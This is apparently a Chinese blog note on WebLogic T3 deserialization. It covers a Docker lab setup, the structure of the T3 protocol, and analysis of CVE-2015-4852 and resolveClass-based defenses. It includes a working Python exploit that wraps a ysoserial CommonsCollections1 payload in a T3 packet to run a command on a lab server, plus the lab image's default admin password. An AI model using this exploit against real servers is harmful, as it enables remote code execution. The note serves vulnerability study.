笔记|weblogic之T3反序列化

Webloigc的安装 weblogic的安装其实是一个麻烦事,但是奇安信A-Team提供的脚本确实是方便。
weblogi安装脚本:https://github.com/QAX-A-Team/WeblogicEnvironment
但是问题来了,我用脚本安装的时候并不是一帆风顺的。我在issues中碰到了同样的问题,回复给出了解释:centos 8 于2021年12月31日停止了源的服务,需要修改yum的源等等操作。
刚开始以为所有的源都停止了服务,后来还是公司技术支持的dockers/k8s大佬帮我解决的,解决方法是修改了创建docker镜像的Dockerfile文件,找到一个有8.4.2105的源地址,在pull的时候,去我们修改的源中去pull。后续我会把项目重新打包去回掉那个issue。
根据文档指示:
下载相应的JDK版本和Weblogic安装包,将JDK安装包放到jdks/目录下,将Weblogic安装包放到weblogics/目录下。

JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html

以Weblogic12.1.3配JDK 7u21为例,构建镜像命令如下:
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=fmw_12.1.3.0.0_wls.jar-t weblogic12013jdk7u21 .

镜像构建完成后,执行以下命令运行:
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic12013jdk7u21 weblogic12013jdk7u21

运行后可访问http://localhost:7001/console/login/LoginForm.jsp登录到Weblogic Server管理控制台,默认用户名为weblogic,默认密码为qaxateam01
远程调试
下载10的版本要拉取如下:
mkdir ./middleware docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/ docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/ docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

由于我这里是12的版本,所以要拉取如下版本的代码和依赖:
/u01/app/oracle/middleware/wlserver/modules /u01/app/oracle/middleware/wlserver /u01/app/oracle/middleware/coherence/lib

直接利用 IDEA 打开了 wlserver 文件夹,将server/lib导入项目
笔记|weblogic之T3反序列化
文章图片

将coherence/lib 导入项目
笔记|weblogic之T3反序列化
文章图片

配置页面添加 Remote 然后端口修改为 8453
笔记|weblogic之T3反序列化
文章图片

debug运行,当看到 console 中出现如下那么就说明成功了
笔记|weblogic之T3反序列化
文章图片

T3协议 什么是T3协议? 解释摘抄自此文
Weblogic的RMI规范的实现使用一个专有协议T3。 您可以将T3(和安全T3S)视为坐在http之上的一个图层,以公开/允许客户端的JNDI调用。
通常,T3协议用于与WebLogic控制台进行交互。
T3是用于在WebLogic服务器和其他types的Java程序之间传输信息的协议。 WebLogic会跟踪连接到应用程序的每个Java虚拟机。 为了将stream量传送到Java虚拟机,WebLogic创build一个T3连接。 这种types的连接通过消除用于在networking之间进行通信的多个协议来最大化效率,从而使用较less的操作系统资源。 用于T3连接的协议还可以提高效率并最小化数据包大小,从而提高传输方法的速度。
总结一下:简而言之就是
WebLogic服务器中的RMI通信使用T3协议在WebLogic Server和其他Java程序(包括客户端和其他WebLogic服务器实例)之间传输数据。
t3协议能干嘛 例如,如果Java客户端访问WebLogic Server上的企业Bean和JDBC连接池,则WebLogic Server JVM和客户端JVM之间将build立单个networking连接。 可以将EJB和JDBC服务写成就好像它们单独使用专用networking连接一样,因为T3协议隐式地在单个连接上多路复用数据包。
t3的端口 t3协议与weblogic的web服务使用同一个端口(默认7001),当你以http协议请求weblogic会使用http协议处理,你以t3协议请求就以t3协议处理!
T3协议概述 RMI通信传输反序列化数据,接收数据后进行反序列化,正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议。T3协议是Weblogic独有的一个协议,相比于JRMP协议多了一些特性。
T3协议的特点 1:服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
2:通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
t3协议结构 T3协议里包含请求包头和请求的主体这两部分内容。
请求包头如下:
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

发送一个请求包的头,看看会返回什么
import socketdef T3Test(ip,port): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头 sock.sendall(handshake.encode()) while True: data = https://www.it610.com/article/sock.recv(1024) print(data.decode())if __name__ =="__main__": ip = "192.168.210.31" port = 7001T3Test(ip,port)

返回内容中包含了版本信息,我的版本信息为12.1.3.0.0
笔记|weblogic之T3反序列化
文章图片

用wireshark抓包,可以看到HELO标识后面会返回版本号信息。
笔记|weblogic之T3反序列化
文章图片

请求主体
T3协议中传输的都是序列化数据,分为七个部分,第一部分就是协议头,也就是
t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n

借用两张图来描述一下T3协议包的主要内容,如下:
笔记|weblogic之T3反序列化
文章图片


第二到第七部分内容,开头都是ac ed 00 05,说明这些都是序列化的数据。只要把其中一部分替换成我们的序列化数据就可以了,有两种替换方式:
1:将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。 2:将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

复现
这里可以用jdk7u21和cc1两条链,用创建文件的方式来检验反序列化是否成功
from os import popen import struct # 负责大小端的转换 import subprocess from sys import stdout import socket import re import binasciidef generatePayload(gadget,cmd): YSO_PATH = "ysoserial.jar" popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE) return popen.stdout.read()def T3Exploit(ip,port,payload): sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((ip,port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" sock.sendall(handshake.encode()) data = https://www.it610.com/article/sock.recv(1024) compile = re.compile("HELO:(.*).0.false") match = compile.findall(data.decode()) if match: print("Weblogic: "+"".join(match)) else: print("Not Weblogic") #return #1.占位保证总长度计算正确 header = binascii.a2b_hex(b"00000000") #2.固定的T3协议头 t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #3.weblogic反序列化数据的标志 desflag = binascii.a2b_hex(b"fe010000") #4.跟ysoserial生成的payload拼接起来 payload = header + t3header+desflag+payload #5.计算长度替换掉用来占位的字符,也就是前四位 payload = struct.pack(">I",len(payload)) + payload[4:] sock.send(payload)if __name__ == "__main__": ip = "192.168.210.31" port = 7001 gadget = "CommonsCollections1" cmd = "touch /tmp/success" payload = generatePayload(gadget,cmd) T3Exploit(ip,port,payload)

查看一下dockers里的/tmp目录,发现成功创建了success文件
笔记|weblogic之T3反序列化
文章图片

这个poc本质就是把ysoserial生成的payload变成t3协议里的数据格式。
数据包长度包括了自身长度和其他三部分数据包长度,所以需要先占位,计算出长度后再替换进去 T3协议头是固定的,直接硬编码进去就行 反序列化标志+数据=weblogic反序列化标志fe010000+ysoserial生成的序列化数据

payload数据包分析
wireshark过滤一下我们的请求包tcp.port == 7001
找到刚才发的包我们跟踪tcp流看一下:
笔记|weblogic之T3反序列化
文章图片

第一个数据包是我们发送的请求头,第二个数据包是weblogic回复HELO和版本,第三个才是payload数据包。
来详细看一下第三个数据包,主要有四个组成部分,如下
笔记|weblogic之T3反序列化
文章图片

四部分组成如下: 1.数据包长度 2.T3协议头 3.反序列化标志:T3协议中每个反序列化数据包前面都带有fe 01 00 00,再加上反序列化标志ac ed 00 05就变成了fe 01 00 00 ac ed 00 05 4.数据

CVE-2015-4852 漏洞点存在于weblogic.rjvm.InboundMsgAbbrev#readObject方法中
笔记|weblogic之T3反序列化
文章图片

这里是实例了本类中另一个类的readObject方法,跟进看一下:
笔记|weblogic之T3反序列化
文章图片

这里ServerChannelInputStream继承了ObjectInputStream类,重写了resolveClass方法,我们可以看到87行,调用了父类的resolveClass方法,实际上就是直接引用了父类的方法,并未重写。等于没有做任何防御,导致漏洞的出现。
既然存在反序列化漏洞,我们尝试找到对我们有利的jar包,也就是利用链,我这里的版本是12.1.3.0.0,查找一下module模块下jar包。
笔记|weblogic之T3反序列化
文章图片

在weblogic10这个版本中匹配commons字符,有commons.collections_3.2.0.jar,这个包,我这里的版本是weblogic12.1.3.0.0这个版本,并没有匹配出来cc3.2这个包,但是上面的payload中用ysoserial生成的cc1链条可以成功执行,我猜测可能是cc3.2封装到了其他jar包中,可能吧,只是个猜测,欢迎大佬指点。
resolveClass 我们来了解一下resolveClass这个方法。这个方法是干什么的呢,他是反序列化中解析反序列化数据中获取类名的类。
Java程序中类ObjectInputStream的readObject方法被用来将数据流反序列化为对象,如果流中的对象是class,则它的ObjectStreamClass描述符会被读取,并返回相应的class对象,ObjectStreamClass包含了类的名称及serialVersionUID。
如果类描述符是动态代理类,则调用resolveProxyClass方法来获取本地类。如果不是动态代理类则调用resolveClass方法来获取本地类。如果无法解析该类,则抛出ClassNotFoundException异常。
上面说的类描述符,反序列化是否为代理类,其实也好理解,我们跟进到ObjectInputStream类中,找到resolveClass这个方法,在idea中Ctrl+Alt+h,查看谁调用了这个类。
笔记|weblogic之T3反序列化
文章图片

笔记|weblogic之T3反序列化
文章图片

一步步跟进,流程如下:
笔记|weblogic之T3反序列化
文章图片

为什么说resolveClass可以防御Java反序列化?
resolveClass方法的作用是从类序列化描述符获取类的Class对象,如果在resolveClass中增加一个检查,检查一下该类的序列化描述符中记录的类名是否在黑名单上,如果在黑名单上,直接抛出错误,不允许获取恶意的类的Class对象。这样以来,恶意类连生成Class对象的机会都没有。
结合shiro分析
resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。
前面分析readObject方法的时候,我们得知了shiro就是重写了resolveClass方法导致很多利用链无法使用,但是shiro在编写的时候,并不是为了防御反序列化漏洞才去重写的resolveClass,但是就是这么一个无意间的举动,导致了防御住了大部分攻击。
【笔记|weblogic之T3反序列化】而在后面的weblogic补丁当中,也会基于这个resolveClass去做反序列化漏洞的防御。
通过此方法,可灵活的设置允许反序列化类的白名单,也可设置不允许反序列化类的黑名单。但反序列化漏洞利用方法一直在不断的被发现,黑名单需要一直更新维护,且未公开的利用方法无法覆盖。
https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704 https://xz.aliyun.com/t/10365 https://www.anquanke.com/post/id/226070 http://wjlshare.com/archives/1573 https://blog.51cto.com/u_15127536/4577028

    推荐阅读